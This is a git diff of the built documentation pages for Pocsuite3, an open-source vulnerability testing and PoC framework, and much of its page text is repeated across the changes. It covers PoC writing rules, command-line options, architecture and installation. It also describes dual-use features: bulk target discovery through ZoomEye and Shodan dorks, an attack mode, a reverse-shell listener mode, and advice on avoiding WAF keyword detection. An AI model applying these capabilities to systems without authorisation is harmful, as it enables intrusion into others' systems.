Fingerprinting  指纹识别  finger
Format String  格式化字符串  format-string
HTTP Response Smuggling  http响应伪造  http-response-smuggling
HTTP Response Splitting  http响应拆分  http-response-splitting
HTTP Request Splitting  http请求拆分  http-request-splitting
HTTP Request Smuggling  http请求伪造  http-request-smuggling
HTTP Parameter Pollution  http参数污染  hpp
Integer Overflows  整数溢出  int-overflow
Predictable Resource Location  可预测资源定位  res-location
Session Fixation  会话固定  session-fixation
URL Redirector Abuse  url重定向  redirect
Privilege Escalation  权限提升  privilege-escalation
Resolve Error  解析错误  resolve-error
Arbitrary File Creation  任意文件创建  file-creation
Arbitrary File Download  任意文件下载  file-download
Arbitrary File Deletion  任意文件删除  file-deletion
Arbitrary File Read  任意文件读取  file-read
Backup File Found  备份文件发现  bak-file-found
Database Found  数据库发现  db-found
Directory Listing  目录遍历  dir-listing
Directory Traversal  目录穿越  dir-traversal
File Upload  文件上传  file-upload
Login Bypass  登录绕过  login-bypass
Weak Password  弱密码  weak-pass
Remote Password Change  远程密码修改  remote-pass-change
Code Disclosure  代码泄漏  code-disclosure
Path Disclosure  路径泄漏  path-disclosure
Information Disclosure  信息泄漏  info-disclosure
Security Mode Bypass  安全模式绕过  sec-bypass
Malware  挂马  mal
Black Link  暗链  black-link
Backdoor  后门  backdoor
Insecure Cookie Handling  不安全的Cookie  insecure-cookie-handling
Shellcode  Shellcode  shellcode
Variable Coverage  变量覆盖  variable-coverage
Injecting Malware Codes  恶意代码注入  injecting-malware-codes
Upload Files  文件上传  upload-files
Local Overflow  本地溢出  local-overflow
Path Traversal  目录穿越  path-traversal
Unauthorized Access  未授权访问  unauth-access
Remote Overflow  远程溢出  remote-overflow
Man-in-the-middle  中间人攻击  mitm
Out of Memory  内存溢出  out-of-memory
Buffer Over-read  缓冲区越界读  buffer-over-read
Backup File Found  备份文件泄漏  backup-file-found
Use After Free  释放后使用  uaf
DNS Hijacking  DNS劫持  dns-hijacking
Improper Input Validation  不正确的输入校验  improper-input-validation
Universal Cross-site Scripting  通用型XSS  uxss
Server-Side Request Forgery  服务器端请求伪造  ssrf
Other  其他  other
See also Seebug Vulnerability Type Specification.
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/poc-write-notice.html b/en/guide/poc-write-notice.html
index 8095e610..27dcb6e3 100644
--- a/en/guide/poc-write-notice.html
+++ b/en/guide/poc-write-notice.html
@@ -8,12 +8,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
PoC Writing Notice 
  1. When writing a PoC, try not to use third-party modules. If it is unavoidable, please fill in the install_requires field carefully, and fill in the format reference: PoC Third-party Module Dependency
  2. When writing a PoC, try to use the methods provided by the API that Pocsuite3 has encapsulated, so as to avoid reinventing the wheel yourself. For some general methods, you can add them to the API. For details, refer to "General API List" .
  3. If the PoC needs to include remote files, etc., use Pocsuite3 remote files. For details, please refer to "Pocsuite3 Remote File". If the corresponding files are missing, A PR can be submitted on GitHub.
  4. When writing PoC, try not to require input parameters as much as possible, so that the customization is too high, which is not conducive to the batch scheduling execution of PoC.
  5. For the convenience of PoC management, please fill in the PoC information field carefully.
  6. In order to prevent false positives and prevent keywords being detected by WAF, etc., it is required to output a random string (you can call the random_str method in the API) when the verification result is judged, instead of using a constant string.
for example:
When detecting SQL injection:
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
PoC Writing Notice 
  1. When writing a PoC, try not to use third-party modules. If it is unavoidable, please fill in the install_requires field carefully, and fill in the format reference: PoC Third-party Module Dependency
  2. When writing a PoC, try to use the methods provided by the API that Pocsuite3 has encapsulated, so as to avoid reinventing the wheel yourself. For some general methods, you can add them to the API. For details, refer to "General API List" .
  3. If the PoC needs to include remote files, etc., use Pocsuite3 remote files. For details, please refer to "Pocsuite3 Remote File". If the corresponding files are missing, A PR can be submitted on GitHub.
  4. When writing PoC, try not to require input parameters as much as possible, so that the customization is too high, which is not conducive to the batch scheduling execution of PoC.
  5. For the convenience of PoC management, please fill in the PoC information field carefully.
  6. In order to prevent false positives and prevent keywords being detected by WAF, etc., it is required to output a random string (you can call the random_str method in the API) when the verification result is judged, instead of using a constant string.
for example:
When detecting SQL injection:
     token = random_str()
     payload = 'select md5(%s)' % token
     ...
@@ -50,8 +50,8 @@
 return self.parse_output(result)
 
 
  1. In verify mode, the uploaded files must be deleted.
  2. After the PoC is written, be sure to test it. The test rules are: 5 websites that are not affected by the vulnerability, to ensure that the PoC verification is unsuccessful; 5 websites that are affected by the vulnerability, to ensure that the PoC verification is successful
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/run.html b/en/guide/run.html
index 42390431..312f421f 100644
--- a/en/guide/run.html
+++ b/en/guide/run.html
@@ -9,12 +9,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
Start Running 
Pocsuite3 has three running methods: 1. Command line; 2. Interactive console; 3. Imported as a Python module.
Command Line 
Run the pocsuite command, and use the corresponding parameters to specify the target and PoC to be tested.
Parameters can also be defined in the pocsuite3.ini file and run with pocsuite -c pocsuite.ini.
Configuration examples: pocsuite.ini
Interactive Console 
A console similar to Metasploit, use the poc-console command to enter.
Python Module 
Pocsuite3 API provides all functions to call pocsuite3, see testcase tests/test_import_pocsuite_execute.py. A typical calling method is as follows:
from pocsuite3.api import init_pocsuite
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
Start Running 
Pocsuite3 has three running methods: 1. Command line; 2. Interactive console; 3. Imported as a Python module.
Command Line 
Run the pocsuite command, and use the corresponding parameters to specify the target and PoC to be tested.
Parameters can also be defined in the pocsuite3.ini file and run with pocsuite -c pocsuite.ini.
Configuration examples: pocsuite.ini
Interactive Console 
A console similar to Metasploit, use the poc-console command to enter.
Python Module 
Pocsuite3 API provides all functions to call pocsuite3, see testcase tests/test_import_pocsuite_execute.py. A typical calling method is as follows:
from pocsuite3.api import init_pocsuite
 from pocsuite3.api import start_pocsuite
 from pocsuite3.api import get_results
 
@@ -31,8 +31,8 @@
     result = get_results()
 
 
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/what-is-pocsuite3.html b/en/guide/what-is-pocsuite3.html
index 80f97681..2edca015 100644
--- a/en/guide/what-is-pocsuite3.html
+++ b/en/guide/what-is-pocsuite3.html
@@ -8,14 +8,14 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
What is Pocsuite3？ 
TIP
We are not native speakers, if you are interested, you can help us improve the documentation. We really appreciate all the effort. Contact: https://github.com/knownsec/pocsuite3/issues
Introduction 
Pocsuite3 is an open source remote vulnerability testing and PoC development framework developed by the Knownsec 404 Team. Since Pocsuite3 was open sourced in 2015, Knownsec 404 Team has been continuously maintaining and updating.
You can directly use Pocsuite3 to verify and exploit vulnerabilities, and you can also develop PoC/Exp based on Pocsuite3, because it is also a PoC development framework. at the same time, you can directly integrate Pocsuite3 in your vulnerability testing tool, which also provides standard the calling class.
Features 
Vulnerability Testing Framework 
Pocsuite3 is written in Python3, It supports three modes: verify, attack and shell. You can specify a single target or import multiple targets from a file, and use a single PoC or a set of PoCs to verify or exploit vulnerabilities. It can be run in command line mode, and also supports Metasploit-like interactive mode. In addition, it also includes some basic functions such as output results reports.
PoC/Exp Development Kit 
Pocsuite3 is also a PoC/Exp SDK, that is, a development kit. We encapsulate the basic PoC classes and some commonly used methods, such as Webshell related methods. To develop PoC/Exp based on Pocsuite3, you can just write the core code of the Vulnerability, without having to care about the overall result output and other processing. PoC/Exp written based on Pocsuite3 can be used directly by Pocsuite3, Seebug website also has thousands of PoC/Exp based on Pocsuite3.
Integratable Module 
In addition to being a security tool itself, Pocsuite3 can also be integrated into the vulnerability testing module as a Python package. You can also develop your own applications based on Pocsuite3. We have encapsulated PoC API in Pocsuite3 that can be imported by other programs. You can perform secondary development based on Pocsuite3 and use Pocsuite3 to develop your own vulnerability verification tools.
Integrate ZoomEye, Seebug, Ceye, Shodan, etc. 
Pocsuite3 also integrates the APIs of many security services such as ZoomEye, Seebug, Ceye, Shodan, etc. Through this function, you can obtain test targets with specified conditions in batches through the ZoomEye API (search through ZoomEye's Dork), and at the same time obtain the vulnerability PoC through the Seebug API. perform automated batch testing, and use Ceye to verify OOB DNS and HTTP requests.
Highlights 
  • PoC scripts can running with verify, attack, shell mode in different way
  • Dynamic loading PoC script from any where (local file, redis, database, Seebug ...)
  • Load multi target from any where (CIDR, local file, redis, database, Zoomeye, Shodan ...)
  • Results can be easily exported
  • Plugin system, users can customize plugins of TARGETS, POCS, RESULTS, which is highly expandable
  • Hook of network library (urllib3, requests), convenient for PoC writing and global control
  • Can be used either as a command-line tool or imported as a Python module
  • It supports IPv4 / IPv6
  • Global HTTP/HTTPS/SOCKS proxy support
  • YAML PoC support, compatible with nuclei
  • Integrate with Seebug (for load PoC from Seebug website)
  • Integrate with ZoomEye, Shodan, etc. (for load target use Dork)
  • Integrate with Ceye, Interactsh (for verify OOB DNS and HTTP request)
  • All code is open source
  • more...
Compared with Metasploit, Pocsuite3 currently does not have the ability of post penetration stage, which is relatively lightweight. Compared with the PoC framework in YAML format, Pocsuite3 is more flexible and can directly use a large number of third-party libraries. As long as users can write python, they can get started quickly.
From version 2.0.0, Pocsuite3 support YAML based PoC, compatible with nuclei templates.
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
What is Pocsuite3？ 
TIP
We are not native speakers, if you are interested, you can help us improve the documentation. We really appreciate all the effort. Contact: https://github.com/knownsec/pocsuite3/issues
Introduction 
Pocsuite3 is an open source remote vulnerability testing and PoC development framework developed by the Knownsec 404 Team. Since Pocsuite3 was open sourced in 2015, Knownsec 404 Team has been continuously maintaining and updating.
You can directly use Pocsuite3 to verify and exploit vulnerabilities, and you can also develop PoC/Exp based on Pocsuite3, because it is also a PoC development framework. at the same time, you can directly integrate Pocsuite3 in your vulnerability testing tool, which also provides standard the calling class.
Features 
Vulnerability Testing Framework 
Pocsuite3 is written in Python3, It supports three modes: verify, attack and shell. You can specify a single target or import multiple targets from a file, and use a single PoC or a set of PoCs to verify or exploit vulnerabilities. It can be run in command line mode, and also supports Metasploit-like interactive mode. In addition, it also includes some basic functions such as output results reports.
PoC/Exp Development Kit 
Pocsuite3 is also a PoC/Exp SDK, that is, a development kit. We encapsulate the basic PoC classes and some commonly used methods, such as Webshell related methods. To develop PoC/Exp based on Pocsuite3, you can just write the core code of the Vulnerability, without having to care about the overall result output and other processing. PoC/Exp written based on Pocsuite3 can be used directly by Pocsuite3, Seebug website also has thousands of PoC/Exp based on Pocsuite3.
Integratable Module 
In addition to being a security tool itself, Pocsuite3 can also be integrated into the vulnerability testing module as a Python package. You can also develop your own applications based on Pocsuite3. We have encapsulated PoC API in Pocsuite3 that can be imported by other programs. You can perform secondary development based on Pocsuite3 and use Pocsuite3 to develop your own vulnerability verification tools.
Integrate ZoomEye, Seebug, Ceye, Shodan, etc. 
Pocsuite3 also integrates the APIs of many security services such as ZoomEye, Seebug, Ceye, Shodan, etc. Through this function, you can obtain test targets with specified conditions in batches through the ZoomEye API (search through ZoomEye's Dork), and at the same time obtain the vulnerability PoC through the Seebug API. perform automated batch testing, and use Ceye to verify OOB DNS and HTTP requests.
Highlights 
  • PoC scripts can running with verify, attack, shell mode in different way
  • Dynamic loading PoC script from any where (local file, redis, database, Seebug ...)
  • Load multi target from any where (CIDR, local file, redis, database, Zoomeye, Shodan ...)
  • Results can be easily exported
  • Plugin system, users can customize plugins of TARGETS, POCS, RESULTS, which is highly expandable
  • Hook of network library (urllib3, requests), convenient for PoC writing and global control
  • Can be used either as a command-line tool or imported as a Python module
  • It supports IPv4 / IPv6
  • Global HTTP/HTTPS/SOCKS proxy support
  • YAML PoC support, compatible with nuclei
  • Integrate with Seebug (for load PoC from Seebug website)
  • Integrate with ZoomEye, Shodan, etc. (for load target use Dork)
  • Integrate with Ceye, Interactsh (for verify OOB DNS and HTTP request)
  • All code is open source
  • more...
Compared with Metasploit, Pocsuite3 currently does not have the ability of post penetration stage, which is relatively lightweight. Compared with the PoC framework in YAML format, Pocsuite3 is more flexible and can directly use a large number of third-party libraries. As long as users can write python, they can get started quickly.
From version 2.0.0, Pocsuite3 support YAML based PoC, compatible with nuclei templates.
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/QA.html b/guide/QA.html
index c34576e0..d37cd25a 100644
--- a/guide/QA.html
+++ b/guide/QA.html
@@ -8,14 +8,14 @@
     
     
     
-    
+    
     
     
   
   
-    
-    
-    
+    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/architecture.html b/guide/architecture.html
index 0c4a8077..d6576209 100644
--- a/guide/architecture.html
+++ b/guide/architecture.html
@@ -8,14 +8,14 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
架构简析 
为了使用的更加顺畅，有必要了解下框架的架构。整体而言，本框架主要包含四个部分，分别是目标收集、PoC 脚本加载、多线程检测、结果汇总。
如下图所示：
目标收集 
首先来看一下目标收集，目前支持以下方式：
  • -u 指定单个 URL 或者 CIDR，支持 IPv4 / IPv6。使用 -p 参数可以提供额外的端口，配合 CIDR 可以很方便的探测一个目标网段
  • -f 指定一个文件，将多个 URL / CIDR 存到文件中，每行一个
  • --dork，框架集成了 ZoomEye、Shodan 等常见网络空间搜索引擎，只需要使用相应的参数提供搜索关键词和 API-KEY 即可批量获取目标。值得一提的是，用户也可以将搜索关键词放到 PoC 脚本的 dork 属性中
  • --plugins 调用插件加载目标，比如 target_from_redis。用户也可以自定义 TARGETS 类型插件
PoC 脚本加载 
  • -r 选项支持指定一个或多个 PoC 路径（或目录），如果提供的是目录，框架将遍历目录然后加载所有符合条件的 PoC，用户可以用 -k 选项指定关键词对 PoC 进行筛选，如组件名称、CVE 编号等。如果我们确认了目标组件，就可以用 -k 选项找到所以对应的 PoC 对目标进行批量测试。如果只提供了 -k 选项，-r 默认为 Pocsuite3 自带的 pocsuite3/pocs 目录
  • --plugins 调用插件加载 PoC，比如 poc_from_seebug、poc_from_redis。用户也可以自定义 POCS 类型插件
多线程检测 
当用户指定了目标和 PoC 后，框架会将每个目标和 PoC 进行匹配（笛卡尔积），生成一个元素为 (target, poc_module) 的队列，然后起一个默认大小为 150（可通过 --threads 设置） 的线程池处理这个队列。
在 Pocsuite3 中，PoC 脚本有三种运行模式，分别对应 PoC 脚本中定义的三种方法，可使用命令行参数 --verify、--attack、--shell 决定执行哪种方法，如果不指定，默认是 --verify。
线程要做的就是以 target 为参数初始化 PoC 脚本并执行指定方法，然后获取执行结果。
结果汇总 
上一步获取了执行结果后，框架提供了多种方法对结果进行处理并保存：
  • 控制台日志，-v 参数控制日志级别，--ppt 参数可以对 IP 地址马赛克处理，方便录屏
  • -o 参数将运行结果保存为 JSON Lines 格式的文件
  • --plugins 调用插件对结果进行处理，比如：file_record，html_report。用户也可以自定义 RESULTS 类型插件
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
架构简析 
为了使用的更加顺畅，有必要了解下框架的架构。整体而言，本框架主要包含四个部分，分别是目标收集、PoC 脚本加载、多线程检测、结果汇总。
如下图所示：
目标收集 
首先来看一下目标收集，目前支持以下方式：
  • -u 指定单个 URL 或者 CIDR，支持 IPv4 / IPv6。使用 -p 参数可以提供额外的端口，配合 CIDR 可以很方便的探测一个目标网段
  • -f 指定一个文件，将多个 URL / CIDR 存到文件中，每行一个
  • --dork，框架集成了 ZoomEye、Shodan 等常见网络空间搜索引擎，只需要使用相应的参数提供搜索关键词和 API-KEY 即可批量获取目标。值得一提的是，用户也可以将搜索关键词放到 PoC 脚本的 dork 属性中
  • --plugins 调用插件加载目标，比如 target_from_redis。用户也可以自定义 TARGETS 类型插件
PoC 脚本加载 
  • -r 选项支持指定一个或多个 PoC 路径（或目录），如果提供的是目录，框架将遍历目录然后加载所有符合条件的 PoC，用户可以用 -k 选项指定关键词对 PoC 进行筛选，如组件名称、CVE 编号等。如果我们确认了目标组件，就可以用 -k 选项找到所以对应的 PoC 对目标进行批量测试。如果只提供了 -k 选项，-r 默认为 Pocsuite3 自带的 pocsuite3/pocs 目录
  • --plugins 调用插件加载 PoC，比如 poc_from_seebug、poc_from_redis。用户也可以自定义 POCS 类型插件
多线程检测 
当用户指定了目标和 PoC 后，框架会将每个目标和 PoC 进行匹配（笛卡尔积），生成一个元素为 (target, poc_module) 的队列，然后起一个默认大小为 150（可通过 --threads 设置） 的线程池处理这个队列。
在 Pocsuite3 中，PoC 脚本有三种运行模式，分别对应 PoC 脚本中定义的三种方法，可使用命令行参数 --verify、--attack、--shell 决定执行哪种方法，如果不指定，默认是 --verify。
线程要做的就是以 target 为参数初始化 PoC 脚本并执行指定方法，然后获取执行结果。
结果汇总 
上一步获取了执行结果后，框架提供了多种方法对结果进行处理并保存：
  • 控制台日志，-v 参数控制日志级别，--ppt 参数可以对 IP 地址马赛克处理，方便录屏
  • -o 参数将运行结果保存为 JSON Lines 格式的文件
  • --plugins 调用插件对结果进行处理，比如：file_record，html_report。用户也可以自定义 RESULTS 类型插件
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/copyright-notice.html b/guide/copyright-notice.html
index a9eafed8..7da1a3ff 100644
--- a/guide/copyright-notice.html
+++ b/guide/copyright-notice.html
@@ -8,12 +8,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
Pocsuite3 is (C) 2014-present Knownsec 404 Team (404-team@knownsec.com)
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
Pocsuite3 is (C) 2014-present Knownsec 404 Team (404-team@knownsec.com)
 
 This program is free software; you may redistribute and/or modify it under
 the terms of the GNU General Public License as published by the Free
@@ -309,8 +309,8 @@
 
 ****************************************************************************
 
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/especial.html b/guide/especial.html
index 00ed7633..4c83130f 100644
--- a/guide/especial.html
+++ b/guide/especial.html
@@ -8,14 +8,14 @@
     
     
     
-    
+    
     
     
   
   
-    
-    
-    
+    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/exploit-db.html b/guide/exploit-db.html
index 602e411d..258e0471 100644
--- a/guide/exploit-db.html
+++ b/guide/exploit-db.html
@@ -8,14 +8,14 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
公开漏洞库 
Seebug 
Seebug 是一个权威的漏洞参考、分享与学习的安全漏洞社区平台。是国内最早最权威的漏洞库，在国内和国际都享有知名度。
官网：https://www.seebug.org
ExploitDB 
ExploitDB 是一个面向全世界黑客的漏洞提交平台，该平台会公布最新漏洞的相关情况，这些可以帮助企业改善公司的安全状况，同时也以帮助安全研究者和渗透测试工程师更好的进行安全测试工作。 Exploit-DB提供一整套庞大的归档体系，其中涵盖了各类公开的攻击事件、漏洞报告、安全文章以及技术教程等资源。
官网：https://www.exploit-db.com
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
公开漏洞库 
Seebug 
Seebug 是一个权威的漏洞参考、分享与学习的安全漏洞社区平台。是国内最早最权威的漏洞库，在国内和国际都享有知名度。
官网：https://www.seebug.org
ExploitDB 
ExploitDB 是一个面向全世界黑客的漏洞提交平台，该平台会公布最新漏洞的相关情况，这些可以帮助企业改善公司的安全状况，同时也以帮助安全研究者和渗透测试工程师更好的进行安全测试工作。 Exploit-DB提供一整套庞大的归档体系，其中涵盖了各类公开的攻击事件、漏洞报告、安全文章以及技术教程等资源。
官网：https://www.exploit-db.com
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/install.html b/guide/install.html
index 5b33ac7f..0d428ea2 100644
--- a/guide/install.html
+++ b/guide/install.html
@@ -9,12 +9,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
安装 
Pocsuite3 基于 Python3 开发，可以运行在支持 Python 3.7+ 的任何平台上，例如 Linux、Windows、MacOS、BSD 等。
2021 年 11 月，Pocsuite3 通过了 Debian 官方的代码及合规检查，正式加入 Debian、Ubuntu、Kali 等 Linux 发行版的软件仓库，可以通过 apt 命令一键获取。此外，Pocsuite3 也已经推送到 Python PyPi、MacOS 的 Homebrew 仓库、Archlinux 的 Aur 仓库、Dockerhub。
使用 Python3 pip 安装 
pip3 install pocsuite3
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
安装 
Pocsuite3 基于 Python3 开发，可以运行在支持 Python 3.7+ 的任何平台上，例如 Linux、Windows、MacOS、BSD 等。
2021 年 11 月，Pocsuite3 通过了 Debian 官方的代码及合规检查，正式加入 Debian、Ubuntu、Kali 等 Linux 发行版的软件仓库，可以通过 apt 命令一键获取。此外，Pocsuite3 也已经推送到 Python PyPi、MacOS 的 Homebrew 仓库、Archlinux 的 Aur 仓库、Dockerhub。
使用 Python3 pip 安装 
pip3 install pocsuite3
 
 # 使用国内镜像加速
 pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pocsuite3
@@ -31,8 +31,8 @@
 pip3 install -r requirements.txt
 python3 setup.py install
 
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/legal-disclaimer.html b/guide/legal-disclaimer.html
index bb572c8a..a35adfb5 100644
--- a/guide/legal-disclaimer.html
+++ b/guide/legal-disclaimer.html
@@ -8,14 +8,14 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
法律免责声明 
DANGER
未经事先双方同意，使用 Pocsuite3 攻击目标是非法的。 Pocsuite3 仅用于安全测试目的，请遵守《网络安全法》。
DANGER
Usage of Pocsuite3 for attacking targets without prior mutual consent is illegal. Pocsuite3 is for security testing purposes only, please obey the law.
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
法律免责声明 
DANGER
未经事先双方同意，使用 Pocsuite3 攻击目标是非法的。 Pocsuite3 仅用于安全测试目的，请遵守《网络安全法》。
DANGER
Usage of Pocsuite3 for attacking targets without prior mutual consent is illegal. Pocsuite3 is for security testing purposes only, please obey the law.
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/literature.html b/guide/literature.html
index d5028a1d..61feef80 100644
--- a/guide/literature.html
+++ b/guide/literature.html
@@ -8,14 +8,14 @@
     
     
     
-    
+    
     
     
   
   
-    
-    
-    
+    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/parameter-integration.html b/guide/parameter-integration.html
index efc034ac..59540c22 100644
--- a/guide/parameter-integration.html
+++ b/guide/parameter-integration.html
@@ -8,12 +8,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
集成调用参数说明 
config 配置信息可参考：pocsuite.ini 配置文件参数说明
from pocsuite3.api import init_pocsuite
+    
-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/parameter-poc-console.html b/guide/parameter-poc-console.html
index 1708cc54..72c0cc6c 100644
--- a/guide/parameter-poc-console.html
+++ b/guide/parameter-poc-console.html
@@ -9,14 +9,14 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
pocsuite 控制台参数说明 
使用命令 poc-console 进去交互式控制台后，可通过 help 命令查看帮助，list 或 show all 列出所有 PoC 模块，use 加载某指定模块。相关参数可通过 set / setg 命令设置。
如下：
值得一提的是，在控制台中也可以执行系统命令。
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
pocsuite 控制台参数说明 
使用命令 poc-console 进去交互式控制台后，可通过 help 命令查看帮助，list 或 show all 列出所有 PoC 模块，use 加载某指定模块。相关参数可通过 set / setg 命令设置。
如下：
值得一提的是，在控制台中也可以执行系统命令。
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/parameter-pocsuite.html b/guide/parameter-pocsuite.html
index fbb1da53..e0fc6bdb 100644
--- a/guide/parameter-pocsuite.html
+++ b/guide/parameter-pocsuite.html
@@ -8,13 +8,13 @@
     
     
     
-    
-    
+    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
pocsuite 命令行参数说明 
也可参考《架构简析》，其中对大部分重要参数做了标注。
目标加载 
-u / --url 
加载单个 URL 或 CIDR，支持 IPv4 / IPv6。
pocsuite -r poc.py -u https://example.com
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
pocsuite 命令行参数说明 
也可参考《架构简析》，其中对大部分重要参数做了标注。
目标加载 
-u / --url 
加载单个 URL 或 CIDR，支持 IPv4 / IPv6。
pocsuite -r poc.py -u https://example.com
 pocsuite -r poc.py -u fd12:3456:789a:1::/120
 pocsuite -r poc.py -u 172.16.218.1/24
 pocsuite -r poc.py -u "https://[fd12:3456:789a:1::f0]:8443/test"
@@ -108,7 +108,24 @@
 pocsuite --ssv-id 89715
 
 
运行控制 
--threads 
线程池大小控制，默认为 Min(150, 目标总数)。
--pcap 
在运行 PoC 时使用 --pcap 参数，可以将通信流量保存为 pcap 文件。
通过 wireshark 打开该文件进行流量分析。
--verify 
验证模式，执行 PoC 脚本的 _verify() 方法， 进行漏洞验证。
--attack 
攻击模式，执行 PoC 脚本的 _attack() 方法，具体表现取决于方法的实现。
--shell / --lhost / --lport / --tls 
shell 模式，执行 PoC 脚本的 _shell() 方法，控制台会进入 shell 交互模式执行命令及获取输出。
Pocsuite3 在 shell 模式会默认监听本机的 6666 端（可通过 --lhost、--lport 修改），编写对应的攻击代码，让目标执行反向连接运行 Pocsuite3 系统 IP 的 6666 端口即可得到一个 shell。
如果要启用 TLS 监听器（如 openssl 的反连 shell），可使用 --tls 参数。
TIP
在 PoC 脚本中，attack 模式和 shell 模式的实现是可选的， 如果不指定运行模式，默认是 verify。
网络控制 
--proxy / --proxy-cred 
全局 HTTP/HTTPS/SOCKS 代理，支持的协议类型有：http、https、socks4、socks5、socks5h。
pocsuite -r poc.py -u https://www.baidu.com --proxy socks5://127.0.0.1:9150
-
如果代理需要认证，可使用参数 --proxy-cred name:password 提供。
--timeout 
全局超时设置，默认为 10s。需要注意的是，如果某请求本身设置了超时，则会以请求本身的为准，不会覆盖。
--user-agent 
HTTP 请求的 User-Agent 设置，默认为随机。
其他网络请求控制选项还有：--cookie、--host、--referer、--retry、--delay、--headers，此处不再一一赘述。
DNSLog 服务 
--ceye-token 
通过 CEye API 辅助验证盲打 HTTP/DNS 请求。
首次使用会提示输入 CEye API key，验证可用后会保存到 $HOME/.pocsuiterc 文件中，除非 token 过期，下次使用不会重复询问，也可使用 --ceye-token 参数提供。
--oob-server / --oob-token 
通过 Interactsh API 辅助验证盲打 HTTP/DNS 请求。
Interactsh 是知名开源软件组织 projectdiscovery 开发的一款 DNSLog 工具，和 CEye 类似。Pocsuite3 从 1.8.8 版本开始集成了 interactsh，给用户更多选择。
通过 --oob-server 可指定自定义的 Interactsh 服务器地址，默认为 interact.sh，如果需要认证，可通过参数 --oob-token 提供。
自定义的参数 
--options 
有的 PoC 脚本需要填写登录信息，或者任意命令执行时执行用户指定的命令。可在 PoC 中自定义参数，可参见：可自定义参数的 PoC
使用 --optioins 参数可以很方便的查看某 PoC 的自定义参数信息，如下：
pocsuite -k ecshop --options
+
如果代理需要认证，可使用参数 --proxy-cred name:password 提供。
--timeout 
全局超时设置，默认为 10s。需要注意的是，如果某请求本身设置了超时，则会以请求本身的为准，不会覆盖。
--user-agent 
HTTP 请求的 User-Agent 设置，默认为随机。
-http-debug 
HTTP 的 Debug 信息，默认等级为 0
--session-reuse 
启用 session 重用
--session-reuse-num 
session 重用数量
其他网络请求控制选项还有：--cookie、--host、--referer、--retry、--delay、--headers，此处不再一一赘述。
DNSLog 服务 
--ceye-token 
通过 CEye API 辅助验证盲打 HTTP/DNS 请求。
首次使用会提示输入 CEye API key，验证可用后会保存到 $HOME/.pocsuiterc 文件中，除非 token 过期，下次使用不会重复询问，也可使用 --ceye-token 参数提供。
--oob-server / --oob-token 
通过 Interactsh API 辅助验证盲打 HTTP/DNS 请求。
Interactsh 是知名开源软件组织 projectdiscovery 开发的一款 DNSLog 工具，和 CEye 类似。Pocsuite3 从 1.8.8 版本开始集成了 interactsh，给用户更多选择。
通过 --oob-server 可指定自定义的 Interactsh 服务器地址，默认为 interact.sh，如果需要认证，可通过参数 --oob-token 提供。
